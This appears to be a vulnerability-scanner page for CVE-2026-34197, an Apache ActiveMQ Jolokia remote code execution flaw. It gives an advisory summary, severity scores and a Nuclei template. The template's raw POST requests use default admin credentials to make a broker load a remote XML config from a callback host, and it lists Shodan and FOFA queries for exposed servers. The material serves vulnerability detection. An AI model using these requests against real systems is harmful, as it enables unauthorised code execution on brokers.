Apache ActiveMQ - Remote Code Execution
Description
Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: . Users are recommended to upgrade to version 5.19.5 or 6.2.3, which fixes the issue.
Severity
CVSS Score
8.8
Exploit Probability
70%
Affected Product
activemq
Published Date
Template Author
id: CVE-2026-34197
info:
name: Apache ActiveMQ - Remote Code Execution
author: DhiyaneshDk,horizon3
severity: critical
description: |
Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: . Users are recommended to upgrade to version 5.19.5 or 6.2.3, which fixes the issue.
impact: |
Authenticated attackers can execute arbitrary code on the broker JVM, potentially leading to full system compromise.
remediation: |
Upgrade to version 5.19.5 or 6.2.3 or later.
reference:
- https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
- https://activemq.apache.org/security-advisories
- https://nvd.nist.gov/vuln/detail/CVE-2026-34197
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2026-34197
epss-score: 0.70075
epss-percentile: 0.98697
cwe-id: CWE-94
metadata:
verified: true
max-request: 2
vendor: apache
product: activemq
shodan-query: title:"ActiveMQ" port:8161
fofa-query: title="ActiveMQ" && port="8161"
tags: cve,cve2026,activemq,jolokia,rce,oast,java,oob,kev,vkev
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
string: "{{to_lower(rand_text_alpha(6))}}"
http:
- raw:
- |
POST /api/jolokia/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Origin: {{RootURL}}
[{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector","arguments":["NC"]},{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector","arguments":["static:(vm://{{string}}?brokerConfig=xbean:http://{{interactsh-url}}/{{filename}}.xml)"]}]
- |
POST /api/jolokia/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Origin: {{RootURL}}
Authorization: Basic YWRtaW46YWRtaW4=
[{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector","arguments":["NC"]},{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector","arguments":["static:(vm://{{string}}?brokerConfig=xbean:http://{{interactsh-url}}/{{filename}}.xml)"]}]
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '[{"request":{'
- 'org.apache.activemq'
condition: and
- type: word
part: interactsh_protocol
words:
- "http"
- "dns"
condition: or
- type: status
status:
- 200
# digest: 4a0a00473045022100cfc8b28a61bb589de62a068a0cae10d2512dda99c2bfa0c3bbf2e7a6ab16612e022078b3d8cd6ec7f105daaf8190800291b569be2020aef9c44234a26785be344177:922c64590222798bb761d5b6d8e72950